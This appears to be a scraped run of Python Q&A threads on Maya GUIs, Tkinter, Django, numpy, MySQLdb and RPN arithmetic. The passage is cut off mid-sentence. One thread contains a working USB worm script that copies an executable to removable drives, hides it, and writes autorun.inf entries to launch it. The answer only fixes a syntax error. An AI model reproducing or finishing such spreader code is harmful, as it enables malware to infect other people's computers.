NumBulletsCtrl = cmds.intSliderGrp(label='Number of Shots',
minValue=1, maxValue=1, value=1, field=True)
DistCtrl = cmds.intSliderGrp(label='Distance to Target (metres)',
minValue=1, maxValue=50, value=25, field=True)
cmds.button(label = "Fire", command = lambda *args: goShoot(cmds.intSliderGrp(NumBulletsCtrl,
query=True, value=True), cmds.intSliderGrp(DistCtrl, query=True, value=True), ))
cmds.button(label = "Cancel", command = cancelShoot)
cmds.showWindow("RPG")
def printNewMenuItem(item):
print item
return item
def createUI():
cmds.window("Bullet_Spray_Generator")
cmds.columnLayout(adjustableColumn=True)
GunSelectCtrl = cmds.optionMenu(label='Gun', changeCommand=printNewMenuItem)
cmds.menuItem(label='Pistol')
cmds.menuItem(label='Shotgun')
cmds.menuItem(label='SMG')
cmds.menuItem(label='Sniper Rifle')
cmds.menuItem(label='RPG')
cmds.button(label = "Continue", command = partial(createGunUI, GunSelectCtrl))
cmds.button(label = "Cancel", command = cancelShoot)
cmds.showWindow("Bullet_Spray_Generator")
createUI()
Any help would be greatly appreciated, thanks very much.
Answer: The easiest way to pass complex information around inside a GUI in Maya is to
wrap the whole UI in python class. The class can 'remember' all of your
fields, sliders, etc so that you can easily collect information from one or
more GUI items and act on them without too much extra work.
class PistoUI(object):
def __init__(self):
self.window = cmds.window("Pistol")
cmds.columnLayout(adjustableColumn=True)
self.bullet_count = cmds.intSliderGrp(label='Number of Shots', minValue=1, maxValue=9, value=4, field=True)
self.distance = cmds.intSliderGrp(label='Distance to Target (metres)', minValue=1, maxValue=50, value=25, field=True)
cmds.button(label = "Fire", command = self.fire)
cmds.button(label = "Cancel", command = self.cancel)
cmds.showWindow(self.window)
def fire(self, _ignore):
bullets = cmds.intSliderGrp(self.bullet_count, q=True, v=True)
distance = cmds.intSliderGrp(self.distance, q=True, v=True).
goShoot(bullets, distance)
def cancel(self, _ignore):
cmds.deleteUI(self.window)
As you can see above, the `fire` function gets the correct fields from the
active window and collects their values to pass to the goShoot function
without any extra work in the layout step to pass the values directly to a
function. This is much simpler and more elegant than leaving all the pieces
lying around in the open. It's also more self-contained - you can create
multiple windows side-by-side in that scheme without worrying about creating
and deleting them by name.
Even better, the clases are really good for separating out differences in
logic from difference in data, so you can resuse the repetitive code with
ease:
class WeaponUI(object):
LABEL = 'weapon_name' #default name
SHOTS = (1, 9, 4) # default shots
RANGE = (1, 50, 25) # default range
def __init__(self):
self.window = cmds.window(title = self.LABEL)
cmds.columnLayout(adjustableColumn=True)
self.bullet_count = cmds.intSliderGrp(label='Number of Shots', minValue=self.SHOTS[0],
maxValue=self.SHOTS[1],
value=self.SHOTS[2], field=True)
self.distance = cmds.intSliderGrp(label='Distance to Target (metres)',
minValue=self.RANGE[0],
maxValue=self.RANGE[1],
value=self.RANGE[2], field=True)
cmds.button(label = "Fire", command = self.fire)
cmds.button(label = "Cancel", command = self.cancel)
cmds.showWindow(self.window)
def fire(self, _ignore):
bullets = cmds.intSliderGrp(self.bullet_count, q=True, v=True)
distance = cmds.intSliderGrp(self.distance, q=True, v=True).
print "firing", self.LABEL
goShoot(bullets, target)
def cancel(self, _ignore):
cmds.deleteUI(self.window)
class PistolUI(WeaponUI):
LABEL = 'pistol'
SHOTS = (1, 9, 4)
RANGE = (1, 50, 25)
class ShotgunUI(WeaponUI):
LABEL = 'shotgun'
SHOTS = (1, 4, 2)
RANGE = (1, 50, 25)
class SniperUI(WeaponUI):
LABEL = 'sniper'
SHOTS = (1, 4, 2)
RANGE = (1, 50, 25)
... and so on
More about maya GUI connections
[here](http://techartsurvival.blogspot.com/2014/04/maya-callbacks-cheat-
sheet.html) and [here](http://techartsurvival.blogspot.com/2014/02/rescuing-
maya-gui-from-itself.html)
|
sending email from python 3.4 script, WITHOUT enabling 'less secure apps' in gmail
Question: i would like to send mail using a python 3.4 script, from my gmail address. i
use the following code:
import smtplib
def sendmail():
sender='[email protected]'
receiver=['[email protected]']
message='text here'
try:
session=smtplib.SMTP('smtp.gmail.com',587)
session.ehlo()
session.starttls()
session.ehlo()
session.login(sender,'mypassword')
session.sendmail(sender,receiver,message)
session.quit()
except smtplib.SMTPException:
print('Error, can not send mail!')
if i 'allow less secure apps' in my gmail account, the script works fine.
however, if i disable 'less secure apps', it doesn't works (i get a warning
email from google, with 'sign-in attempt blocked') . i would like to modify my
code, to be able to send mail without enabling this thing.
i have read all the questions and answers regarding similar problems, but did
not find any useful answers or methods. someone has any solution for this?
Answer: From ["Allowing less secure apps to access your account" support
page](https://support.google.com/accounts/answer/6010255)
> Google may block sign in attempts from some apps or devices that do not use
> modern security standards.
A login/password is not a modern mechanism to authenticate. You should
implement [SASL XOAuth2](https://developers.google.com/gmail/oauth_overview).
|
Using python to run bash commands and get Output
Question: I want to download videos through Youtube-he. So,I wrote program but it isn't
working.The code is
import os
l=["sets","relation_and_functions","Trig","Complex_Quad","Linear_inequalities","Permutation","Binomial","Sequence","Straight","conic","Three_d","Limit_Derivative","Stats","Probability","Math_reasoning"]
r=["https://www.youtube.com/playlist?list=PLD5EF274490578CC4","https://www.youtube.com/playlist?list=PL548FAD237A4B6D2E","https://www.youtube.com/playlist?list=PL42123C3873AED16F","https://www.youtube.com/playlist?list=PL880E3116D67E42FD","https://www.youtube.com/playlist?list=PLC5D1199BAE318878","https://www.youtube.com/playlist?list=PL812413BD6B55AA6E","https://www.youtube.com/playlist?list=PL78FAFAFA8496BCE1","https://www.youtube.com/playlist?list=PL6F57725E2DA8B557","https://www.youtube.com/playlist?list=PLA243228EA688A835","https://www.youtube.com/playlist?list=PL41B47FB4E23B392A","https://www.youtube.com/playlist?list=PLa2X112u1cdjdl-dsLJC1HaCeGrOarZZz","https://www.youtube.com/playlist?list=PLF6640F0A9F39F7BA","https://www.youtube.com/playlist?list=PL6FDE1AB3AE32E614","https://www.youtube.com/playlist?list=PL7FF5AD1CFF0981E5","https://www.youtube.com/playlist?list=PL13B63CD6FFAB9EA8"]
for i in range(len(l)):
a=l[i]
b=r[i]
os.system("mkdir a")
os.chdir("a")
os.system("youtube-dl b")
Answer: You need to pass the actual variables, not a string. You should also use the
subprocess module in particular
[check_call](https://docs.python.org/2/library/subprocess.html#subprocess.check_call):
l =["sets","relation_and_functions","Trig","Complex_Quad","Linear_inequalities","Permutation","Binomial","Sequence","Straight","conic","Three_d","Limit_Derivative","Stats","Probability","Math_reasoning"]
r=["https://www.youtube.com/playlist?list=PLD5EF274490578CC4","https://www.youtube.com/playlist?list=PL548FAD237A4B6D2E","https://www.youtube.com/playlist?list=PL42123C3873AED16F","https://www.youtube.com/playlist?list=PL880E3116D67E42FD","https://www.youtube.com/playlist?list=PLC5D1199BAE318878","https://www.youtube.com/playlist?list=PL812413BD6B55AA6E","https://www.youtube.com/playlist?list=PL78FAFAFA8496BCE1","https://www.youtube.com/playlist?list=PL6F57725E2DA8B557","https://www.youtube.com/playlist?list=PLA243228EA688A835","https://www.youtube.com/playlist?list=PL41B47FB4E23B392A","https://www.youtube.com/playlist?list=PLa2X112u1cdjdl-dsLJC1HaCeGrOarZZz","https://www.youtube.com/playlist?list=PLF6640F0A9F39F7BA","https://www.youtube.com/playlist?list=PL6FDE1AB3AE32E614","https://www.youtube.com/playlist?list=PL7FF5AD1CFF0981E5","https://www.youtube.com/playlist?list=PL13B63CD6FFAB9EA8"]
from subprocess import check_call
for direc, url in zip(l, r):
check_call(["mkdir", direc])
check_call(["youtube-dl", ele2],cwd=direc)
`zip(l, r)` zips the corresponding elements from each list so we simply unpack
the pairs in the loop. `cwd=direc` will set the directory to download the file
to.
|
Python 3 Multi-Threading with Tkinter
Question: I have been writing a bit of code that will eventually take commands from a
remote and local (within the code itself) source and and then will be carried
out and the results displayed using tkinter.
The Problem I am currently having is that when I run the code using threading
and queues this error appears and I have tried putting the gui code at the
bottom under the for loops for the threading but this had another error that
occurred.
Exception in thread Thread-1:
Traceback (most recent call last):
File "C:\Python34\lib\threading.py", line 921, in _bootstrap_inner
self.run()
File "C:\Python34\lib\threading.py", line 869, in run
self._target(*self._args, **self._kwargs)
File "C:/Users/Eddy/Programing/Python/Sockets/GUI Server.py", line 60, in threader
t_visuals()
File "C:/Users/Eddy/Programing/Python/Sockets/GUI Server.py", line 49, in t_visuals
label = Label(root, width=70, height=30,relief=RIDGE,bd=5,bg="white",textvariable=v,anchor=NW,justify= LEFT,font=("Times New Roman", 12)).grid(row=1,column=0)
File "C:\Python34\lib\tkinter\__init__.py", line 2604, in __init__
Widget.__init__(self, master, 'label', cnf, kw)
File "C:\Python34\lib\tkinter\__init__.py", line 2122, in __init__
(widgetName, self._w) + extra + self._options(cnf))
RuntimeError: main thread is not in main loop
Exception in thread Thread-2:
Traceback (most recent call last):
File "C:\Python34\lib\threading.py", line 921, in _bootstrap_inner
self.run()
File "C:\Python34\lib\threading.py", line 869, in run
self._target(*self._args, **self._kwargs)
File "C:/Users/Eddy/Programing/Python/Sockets/GUI Server.py", line 58, in threader
t_connections()
File "C:/Users/Eddy/Programing/Python/Sockets/GUI Server.py", line 43, in t_connections
sLog_update("waiting for connection...")
File "C:/Users/Eddy/Programing/Python/Sockets/GUI Server.py", line 40, in sLog_update
v.set(g)
File "C:\Python34\lib\tkinter\__init__.py", line 263, in set
return self._tk.globalsetvar(self._name, value)
RuntimeError: main thread is not in main loop
This is the code:
from socket import *
import time
from tkinter import *
import threading
from queue import Queue
#server setup
HOST = ''
PORT = 24601
BUFSIZ = 1024
ADDR = (HOST, PORT)
tcpSerSock = socket(AF_INET, SOCK_STREAM)
tcpSerSock.bind(ADDR)
tcpSerSock.listen(5)
#Window Setup
HEIGHT = 720
WIDTH = 1280
root = Tk()
root.title("Server Controler")
root.geometry("1280x720")
#Variables needed
v =StringVar()
f =StringVar()
g = "" #Server update log
#locked variables
sLog_lock = threading.Lock()
#t_ means threaded
def sLog_update(self):
with sLog_lock:
global g
currentTime = str("["+time.ctime()+"] ")
g+=str(currentTime)
g+=str(self)
g+=str("\n")
v.set(g)
def t_connections():
sLog_update("waiting for connection...")
tcpCliSock, addr = tcpSerSock.accept()
avr = "connected from: " + str(addr)
sLog_update(avr)
def t_visuals():
label = Label(root, width=70, height=30,relief=RIDGE,bd=5,bg="white",textvariable=v,anchor=NW,justify= LEFT,font=("Times New Roman", 12)).grid(row=1,column=0)
entry = Entry(root, width=105,relief=RIDGE,bd=5,textvariable=f).grid(row=2,column=0)
button = Button(root,command= lambda:sLog_update(f.get()),text="send").grid(row=3,column=0)
mainloop()
def threader():
worker = q.get()
print(worker)
if worker == 1:
t_connections()
elif worker == 0:
t_visuals()
q =Queue()
for x in range(2):
t = threading.Thread(target=threader)
t.daemon = True
t.start()
for worker in range(20):
q.put(worker)
q.join()
Answer: You can make this problem going away by keeping all of the GUI code in the
main thread.
|
Using tkinter to plot pandas dataframes
Question: So I'm trying to write a small GUI that will allow an end use to plot X vs Y
of any 2 columns in an Excel file. Here's my code:
import pandas as pd
import matplotlib.pyplot as plt
import tkinter as tk
my_base=pd.read_excel('my_base.xlsx', 'the_tab', index_col=None, na_values = ['NA'])
my_base_header = list(my_base.columns.values)
my_base['Generated Date'] = pd.to_datetime(my_base['Generated Date'])
main_win = tk.Tk()
def plot_graph():
print(option1.get())
print(option2.get())
my_base.plot(x = option1.get(), y = option2.get(), style = 'x')
plt.show()
option1 = tk.StringVar(main_win)
option1.set(my_base_header[0])
option2 = tk.StringVar(main_win)
option2.set(my_base_header[0])
opt1 = tk.OptionMenu(main_win, option1, *my_base_header)
opt1.pack()
opt2 = tk.OptionMenu(main_win, option2, *my_base_header)
opt2.pack()
runbtn = tk.Button(main_win, text = 'Plot', command = plot_graph)
runbtn.pack()
main_win.mainloop()
I can get the program to plot if I put the dataframe headers in directly like
so:
my_base.plot(x = 'Generated Date', y = 'How many', style = 'x')
But when I use for example `x = option1.get()` in there I get this traceback
Traceback (most recent call last):
File "<pyshell#14>", line 1, in <module>
my_base.plot(x= x_ax, y = y_ax, style = 'x')
File "C:\Python34\lib\site-packages\pandas\tools\plotting.py", line 2485, in plot_frame
**kwds)
File "C:\Python34\lib\site-packages\pandas\tools\plotting.py", line 2325, in _plot
plot_obj.generate()
File "C:\Python34\lib\site-packages\pandas\tools\plotting.py", line 921, in generate
self._compute_plot_data()
File "C:\Python34\lib\site-packages\pandas\tools\plotting.py", line 997, in _compute_plot_data
'plot'.format(numeric_data.__class__.__name__))
TypeError: Empty 'Series': no numeric data to plot
Answer: It's as the error says: the data you're trying to plot is non-numeric, so it's
probably a string or from the looks of it, maybe a datetime. If you include
the data and which column is giving you this error, we could point out the
problem.
If it is a datetime, you may need to convert it to a pandas timestamp type,
like:
pandas.DatetimeIndex([yourDatetime])
Your code seems to work for me. I used this demo dataset:
<http://www.contextures.com/xlSampleData01.html>
If I try to plot something non-numeric, such as 'Region' or 'Rep', it gives me
the same error you have (no numeric data to plot). If I plot 'Unit Cost' vs
'Total', or any other combination of 2 numeric datasets, it works.
import pandas as pd
import matplotlib.pyplot as plt
import Tkinter as tk
my_base=pd.read_excel('SampleData.xls', 'SalesOrders', index_col=None, na_values = ['NA'])
my_base_header = list(my_base.columns.values)
#print my_base
my_base['OrderDate'] = pd.to_datetime(my_base['OrderDate'])
main_win = tk.Tk()
def plot_graph():
print(option1.get())
print(option2.get())
my_base.plot(x = option1.get(), y = option2.get(), style = 'x')
plt.show()
option1 = tk.StringVar(main_win)
option1.set(my_base_header[0])
option2 = tk.StringVar(main_win)
option2.set(my_base_header[0])
opt1 = tk.OptionMenu(main_win, option1, *my_base_header)
opt1.pack()
opt2 = tk.OptionMenu(main_win, option2, *my_base_header)
opt2.pack()
runbtn = tk.Button(main_win, text = 'Plot', command = plot_graph)
runbtn.pack()
main_win.mainloop()
|
How to identify data after they have been through a whitening transformation and K-means clustering, python
Question: I am performing a K-means clustering in Python following this:
<http://glowingpython.blogspot.no/2012/04/k-means-clustering-with-scipy.html>
tutorial. I have my data, which are length, breadth and height - which I am
whitening using:
from scipy.cluster.vq import whiten
data = whiten(data)
After whitening I am doing the k-means clustering, following the tutorial. My
question is: how do I identify the data after I have whitened it? Both when it
comes to the plot, and when doing further analysis on the data. I want a way
of identifying which data comes in which cluster.
Answer: Do the whitening transform _manually_. It's really easy, if you **look at the
source code of`vq.whiten`**! No black magic involved, only linear algebra.
Then it's easy to store the _linear transformation_ \- and it's _reverse_ (a
multiplication, OMG!). Then you can map back the means to the original data.
If you didn't reduce dimensionality afterwards, it is fairly accurate.
Alternatively, just _recompute the means in the original data space_. This is
probably more accurate, but can be much more expensive if you have a lot of
data points.
|
Find sum of first 1000 prime numbers in python
Question: I have written a program which counts the sum of the primes uptill 1000. The
program is as follows:
limit = 1000
def is_prime(n):
for i in range(2, n):
if n%i == 0:
return False
return True
sum = 0
for i in range(2, int(limit+1)):
if is_prime(i):
sum = sum + i
count += 1
print sum
What changes can I make to find 1000 primes instead of upto 1000 numbers?
Also, I am looking for space complexity as O(1) and time complexity as O(n)
(As I know other methods can do it :-) such as "Sieve of Eratosthenes" and
finding prime while iterating upto sqrt(n)
<http://www.geeksforgeeks.org/print-all-prime-factors-of-a-given-number/>)
Please correct me if I am going wrong some where. Thank you.
Answer: Code:
def f():
i = 2
while True:
if all(i % x != 0 for x in range(2, i-1)):
yield i
i += 1
primes = f()
print sum(primes.next() for _ in range(1000))
Or a one liner:
import itertools
print sum(itertools.islice(itertools.ifilter(lambda x: all(x % i != 0 for i in range(2, x)), f()), 0, 1000))
|
Syntax error while declaring path
Question: wanted to know why is it a syntax error while compiling this script if I'm
declaring a path?
I already searched a bit about it and couldn't find anything related to this,
can someone explain me how to add a path ?
if __name__ == "__main__": # This isn't part of the actual code
spread = Spreader (C:\Users\Test\bin.exe) # C: the ':' is the syntax error
import win32api
import win32con
import win32file
import sys
import os
class Spreader(object):
def __init__(self, path): # path must be absolute
print (" [*] Checking information")
self.filename = path.split("\\")[-1]
self.driveFilename = self.filename
if not self.driveFilename.startswith("~"):
self.driveFilename = "~" + self.driveFilename
print ("\t- Local filename: ") + self.filename
print ("\t- Driver filename: ") + self.driveFilename
self.path = "\\".join(path.split("\\")[:-1]) + "\\" + self.filename
print ("\t- Full path: ") + self.path
print ("\n [*] Getting removable drives")
self.drives = self.__getRemovableDrives()
if len(self.drives) == None:
print (" [-] No removable drives available")
sys.exit()
for drive in self.drives:
print ("\t- ") + drive
print ("\n [*] Spreading")
self.__spread()
print ("\n [+] Successfully spread")
def __getRemovableDrives(self):
removableDrives = []
drives = win32api.GetLogicalDriveStrings().split("\000")[:-1]
for drive in drives:
driveType = win32file.GetDriveType(drive)
if driveType == win32file.DRIVE_REMOVABLE:
removableDrives.append(drive)
return removableDrives
def __spread(self):
for drive in self.drives:
if drive == "A:\\":
continue
else:
driveFile = drive + self.driveFilename
driveAutorun = drive + "autorun.inf"
print (" [+] ") + drive
if not os.path.exists(driveFile):
self.__copyFile(driveFile)
if not os.path.exists(driveAutorun):
self.__createAutorun(driveAutorun)
def __copyFile(self, driveFile):
print ("\t- Copying file: ") + self.driveFilename,
win32file.CopyFile(self.path, driveFile, 0)
print ("\t\t\tDONE")
print ("\t- Hidding file"),
win32api.SetFileAttributes(driveFile,\
win32con.FILE_ATTRIBUTE_HIDDEN)
print ("\t\t\tDONE")
def __createAutorun(self, driveAutorun):
print ("\t- Creating autorun.inf"),
autorun = open(driveAutorun, "w")
content = """[Autorun]
open={0}
icon={0}
label=Python Spreader
UseAutoPlay=1
action=Start my App
action=@{0}
shell\open=Open
shell\open\Command={0}
shell\explore=explore
shell\explore\command={0}""".format(self.driveFilename)
autorun.write(content)
autorun.close()
print ("\t\t\tDONE")
print ("\t- Hidding autorun"),
win32api.SetFileAttributes(driveAutorun,\
win32con.FILE_ATTRIBUTE_HIDDEN)
print ("\t\t\tDONE")
if __name__ == "__main__":
spread = Spreader (C:\Users\Test\bin.exe)
Answer: You must enclose the path in quotes to make it a string:
spread = Spreader('C:/Users/Test/bin.exe')
|
django-registration-redux add extra field
Question: 7 and python 2.7. i want to add extra field in django registration. i try to
extend with my model like this:
class Seller(models.Model):
user = models.ForeignKey(User, unique=True)
name = models.CharField(max_length=25)
phone_number = models.BigIntegerField()
email = models.EmailField(max_length=75)
def __str__(self):
return self.name;
and i add form.py like this
from django import forms
from registration.forms import RegistrationForm
from django.forms import ModelForm
from django.contrib.auth.models import User
from kerajinan.models import Product, Category, Seller
class SellerForm(forms.ModelsForm):
class Meta:
model = Seller
fields = ('name','phone_number','email')
and modify url.py like this:
url(r'^accounts/', 'registration.views.register',{'form_class':SellerForm,'backend': 'registration.backends.default.DefaultBackend'})
how to use those model with django registration and i get error syntax with my
ulr.py?
thanks
Answer: It's works for me:
models.py
from django.db import models
from django.contrib.auth.models import User
class UserProfile(models.Model):
field = models.CharField(max_length=3)
user = models.OneToOneField(User)
forms.py
from registration.forms import RegistrationFormUniqueEmail
from django import forms
class UserProfileRegistrationForm(RegistrationFormUniqueEmail):
field = forms.CharField()
Create regbackend.py and write:
from registration.backends.default.views import RegistrationView
from forms import UserProfileRegistrationForm
from models import UserProfile
class MyRegistrationView(RegistrationView):
form_class = UserProfileRegistrationForm
def register(self, request, form_class):
new_user = super(MyRegistrationView, self).register(request, form_class)
user_profile = UserProfile()
user_profile.user = new_user
user_profile.field = form_class.cleaned_data['field']
user_profile.save()
return user_profile
And urls.py
from django.conf.urls import include, url
import regbackend
urlpatterns = [
url(r'^accounts/register/$', regbackend.MyRegistrationView.as_view(), name='registration_register'),
]
|
python: import error: no module named
Question: Out of nowhere my scripts aren't finding locations anymore, that worked
previously. The only thing i changed was to add a environmental variable in
Windows because i didn't get access python via the command line. But also
after deleting it and resetting the "PATH" variable the problem is the same.
The error only occurs for modules in my project directory which i import via
"from... import..." no problem with "import sys" and so on.
I don't understand what's going on. I use eclipse and Python 2.7.
Update: I "auto configured" in the interpreter menu so that PYTHONPATH was
rebuilt, i used File-->Restart but i won't damn work! I even removed the
system environmental variable from windows. What is wrong with my setup?
Update2: Now i even reinstalled Eclipse but the f***ing errormessage is still
there. It's driving me crazy! Anybody with more tips?
Update3: The problem occured after my laptop shut down because the battery was
low. During that it was executing a script. Maybe it has sth. to do with the
forced shutdown.
Answer: Ok, i found the solution. Somehow the inner structure of my project got messed
up, that the relative path in "from main.path1.path2 import ..." wasn't valid
anymore. Either it worked like "from path1.path2 import..." or (what i did) I
created a project and included again the folder structure, but in the way that
it works.
|
How do I multiply each element in an array with a large number without getting OverflowError: Python int too large to convert to C long?
Question: I'm writing a program where I want to multiply each number in an array (from
numpy) with a big number (`1.692287392646066e+41`) and I do it like this:
x = array([ 16, 18, 19, 15, 27, 26, 13, 34, 38, 36, 43, 42, 48,
50, 55, 57, 70, 67, 65, 85, 99, 94, 90, 112, 126, 130,
142, 120])
weight = 1.692287392646066e+41
x[:] = [i*weight for i in x]
But then I recieve the error "OverflowError: Python int too large to convert
to C long". The strange thing is that multiplying the numbers outside the for
loop seems to work:
In [1]: x[0]*weight
Out[1]: 2.7076598282337055e+42
My question is then, is there any way for me to do this inside a for loop,
since I don't know beforehand how long my array is? (I know it has 1 row.)
Answer: It makes no sense to make the multiplication in `python` and not in `numpy`.
Not only is `numpy` faster, but it also works better.
What you are trying to do creates a `python list`, which it then tries to copy
into the `numpy array` element wise.
Instead just use
x = x * weight
and you're fine.
EOL doubted that this works, so here's what I just did on my computer:
$ python
Python 2.7.3 (default, Dec 18 2014, 19:03:52)
[GCC 4.6.3] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from numpy import array
>>> x = array([ 16, 18, 19, 15, 27, 26, 13, 34, 38, 36, 43, 42, 48,
... 50, 55, 57, 70, 67, 65, 85, 99, 94, 90, 112, 126, 130,
... 142, 120])
>>> weight = 1.692287392646066e+41
>>> x = x * weight
>>> x
array([ 2.70765983e+42, 3.04611731e+42, 3.21534605e+42,
2.53843109e+42, 4.56917596e+42, 4.39994722e+42,
2.19997361e+42, 5.75377713e+42, 6.43069209e+42,
6.09223461e+42, 7.27683579e+42, 7.10760705e+42,
8.12297948e+42, 8.46143696e+42, 9.30758066e+42,
9.64603814e+42, 1.18460117e+43, 1.13383255e+43,
1.09998681e+43, 1.43844428e+43, 1.67536452e+43,
1.59075015e+43, 1.52305865e+43, 1.89536188e+43,
2.13228211e+43, 2.19997361e+43, 2.40304810e+43,
2.03074487e+43])
>>>
|
How to layout controlArea and mainArea horizontally
Question: I am trying to create a new widget for Orange 3. I see that it provides some
default areas (controlArea and mainArea) to which I can add my components. As
far as I can tell, widget.py places both of these inside 'self.leftWidgetPart'
which uses vertical orientation for its layout. From widget.py:
self.leftWidgetPart = gui.widgetBox(self.topWidgetPart,
orientation="vertical", margin=0)
if self.want_main_area:
...
self.mainArea = gui.widgetBox(self.topWidgetPart,
orientation="vertical",
sizePolicy=QSizePolicy(QSizePolicy.Expanding,
QSizePolicy.Expanding),
margin=0)
I would like to layout controlArea and mainArea horizontally instead. I
believe this is possible because the OWBoxPlot widget appears to do it, but I
can't work out what/where the relevant code snippet is (I guess my Python is
weak).
Any help appreciated,
David
Answer: In PyQt in general, you can change the orientation by removing the existing
layout and replacing it with another (hopefully before you populate it).
For `self.controlArea` in Orange, you can do something like this.
from PyQt4.QtGui import QHBoxLayout
import sip
sip.delete(self.controlArea.layout())
self.controlArea.setLayout(QHBoxLayout())
|
Error loading Mysqldb module in Python Django
Question: I am currently working on Ubuntu 14.10/Python/Django/MySQL and encountering
the following error when I try to run:
$python manage.py makemigrations polls
or
$python manage.py migrate polls
I have also tried syncdb The error is:
> (Aaronpythonenv)aaron@aaron-N550JK:~/mysite$ python manage.py makemigrations
> polls Traceback (most recent call last): File "manage.py", line 10, in
> execute_from_command_line(sys.argv) File
> "/home/aaron/Aaronpythonenv/local/lib/python2.7/site-
> packages/Django-1.8-py2.7.egg/django/core/management/**init**.py", line 338,
> in execute_from_command_line utility.execute() File
> "/home/aaron/Aaronpythonenv/local/lib/python2.7/site-
> packages/Django-1.8-py2.7.egg/django/core/management/**init**.py", line 312,
> in execute django.setup() File
> "/home/aaron/Aaronpythonenv/local/lib/python2.7/site-
> packages/Django-1.8-py2.7.egg/django/**init**.py", line 18, in setup
> apps.populate(settings.INSTALLED_APPS) File
> "/home/aaron/Aaronpythonenv/local/lib/python2.7/site-
> packages/Django-1.8-py2.7.egg/django/apps/registry.py", line 108, in
> populate app_config.import_models(all_models) File
> "/home/aaron/Aaronpythonenv/local/lib/python2.7/site-
> packages/Django-1.8-py2.7.egg/django/apps/config.py", line 198, in
> import_models self.models_module = import_module(models_module_name) File
> "/usr/lib/python2.7/importlib/**init**.py", line 37, in import_module
> **import**(name) File "/home/aaron/Aaronpythonenv/local/lib/python2.7/site-
> packages/Django-1.8-py2.7.egg/django/contrib/auth/models.py", line 41, in
> class Permission(models.Model): File
> "/home/aaron/Aaronpythonenv/local/lib/python2.7/site-
> packages/Django-1.8-py2.7.egg/django/db/models/base.py", line 139, in
> **new** new_class.add_to_class('_meta', Options(meta, **kwargs)) File
> "/home/aaron/Aaronpythonenv/local/lib/python2.7/site-
> packages/Django-1.8-py2.7.egg/django/db/models/base.py", line 324, in
> add_to_class value.contribute_to_class(cls, name) File
> "/home/aaron/Aaronpythonenv/local/lib/python2.7/site-
> packages/Django-1.8-py2.7.egg/django/db/models/options.py", line 250, in
> contribute_to_class self.db_table = truncate_name(self.db_table,
> connection.ops.max_name_length()) File
> "/home/aaron/Aaronpythonenv/local/lib/python2.7/site-
> packages/Django-1.8-py2.7.egg/django/db/**init**.py", line 36, in
> **getattr** return getattr(connections[DEFAULT_DB_ALIAS], item) File
> "/home/aaron/Aaronpythonenv/local/lib/python2.7/site-
> packages/Django-1.8-py2.7.egg/django/db/utils.py", line 240, in **getitem**
> backend = load_backend(db['ENGINE']) File
> "/home/aaron/Aaronpythonenv/local/lib/python2.7/site-
> packages/Django-1.8-py2.7.egg/django/db/utils.py", line 111, in load_backend
> return import_module('%s.base' % backend_name) File
> "/usr/lib/python2.7/importlib/**init**.py", line 37, in import_module
> **import**(name) File "/home/aaron/Aaronpythonenv/local/lib/python2.7/site-
> packages/Django-1.8-py2.7.egg/django/db/backends/mysql/base.py", line 27, in
> raise ImproperlyConfigured("Error loading MySQLdb module: %s" % e)
> django.core.exceptions.ImproperlyConfigured: Error loading MySQLdb module:
> No module named MySQLdb
I have used PIP to install mysql-python to my environment which I recieved
another error. I then used sudo apt-get command to install correct the error
PIP brought up.
massive thank you in advance please let me know if I need to add anything
else.
Answer: I faced somewhat similar problem. Try these steps:
1). Upgrade `pip` to the latest version.
sudo pip install pip --upgrade
2). Build the dependencies for python-mysqldb libraries:
sudo apt-get build-dep python-mysqldb
3). Install the Python MySQL libraries:
sudo pip install MySQL-python
|
Calculating all possible combinations using a list of random numbers and ALL simple math operators to reach a given target
Question: I am writing a simple Python script that generates 6 numbers at random (from 1
to 100) and a larger number (from 100 to 1000). My goals for this script are
to:
1. Calculate all of the possible combinations using at least 2 numbers and any of the simple math operations (adding, subtracting, multiplying and dividing)
2. Output all of the combinations whose total is within 10 above or below the larger number as 'matches'
The list of numbers need not be exhausted, but repeating numbers isn't
accepted. Plus I don't care too much if the code is efficient or not (if
anyone decides to post any - I can post mine so far if anyone needs it -
preferably post it in Python); as long as it works, I'm happy to optimize it.
I have attempted this myself, only to fail as the program quickly ended with a
RunTime Error. I also tried putting in a counter to stop the loop after x
passes (where x is a small number such as 50), but that just makes matters
worse as it keeps on going infinitely.
I've also done some research, and I found that this ([Computing target number
from numbers in a set](http://stackoverflow.com/questions/2392379/computing-
target-number-from-numbers-in-a-set) \- the second to last answer) is the
closest I found to meet my requirements but hasn't got quite there yet.
Thanks for the help! :-)
EDIT: Here is my code:
import random, time, operator
i = 0
numlist = []
while i != 6:
number = random.randint(1, 100)
numlist.append(number)
i += 1
largenumber = random.randint(100, 1000)
print(numlist)
print(largenumber)
def operationTesting():
a, c, m, total = 0, 0, 0, 0
totalnums = 0
operators = ['+', '-', '*', '/']
while total != largenumber:
for a in numlist[m]:
for c in numlist[m+1]:
print(a)
print(c)
if a == c:
operationTesting()
else:
b = random.choice(operators)
if b == '+':
summednums = operator.add(int(a), int(c))
print(summednums)
totalnums = totalnums + summednums
elif b == '-':
summednums = operator.sub(int(a), int(c))
print(summednums)
totalnums = totalnums + summednums
elif b == '*':
summednums = operator.mul(int(a), int(c))
print(summednums)
totalnums = totalnums + summednums
elif b == '/':
summednums = operator.floordiv(int(a), int(c))
print(summednums)
totalnums = totalnums + summednums
print(totalnums)
SystemExit(None)
operationTesting()
Answer: A very neat way to do it is using [Reverse Polish Notation or
Postfix](http://en.wikipedia.org/wiki/Reverse_Polish_notation) notation. This
notation avoids the need for brackets that you would probably want if you were
doing it using conventional arithmetic with operator precedence etc.
You can do this with brute force if you are not too bothered about time
efficiency. You need to consider what you want to do with division too - if
two numbers do not divide exactly, do you want to return the result as
'invalid' in some way (I guess so), or really return a floored division? Note
the latter might give you some invalid answers...
Consider the test case of `numlist = [1,2,3,4,5,6]`. In RPN, we could do
something like this
RPN Equivalent to
123456+++++ (1+(2+(3+(4+(5+6)))))
123456++++- (1-(2+(3+(4+(5+6)))))
123456+++-+ (1+(2-(3+(4+(5+6)))))
...
12345+6+-++ (1+(2+(3-((4+5)+6))))
12345+6-+++ (1+(2+(3+((4+5)-6))))
...
And so on. You can probably see that with sufficient combinations, you can get
any combinations of numbers, operators and brackets. The brackets are
important - to take only 3 numbers obviously
1+2*6
is normally interpreted
(1 + (2*6)) == 13
and is quite different to
((1+2)*6) == 18
In RPN, these would be `126*+` and `12+6*` respectively.
So, you've got to generate all your combinations in RPN, then develop an RPN
calculator to evaluate them.
Unfortunately, there are quite a lot of permutations with 6 numbers (or any
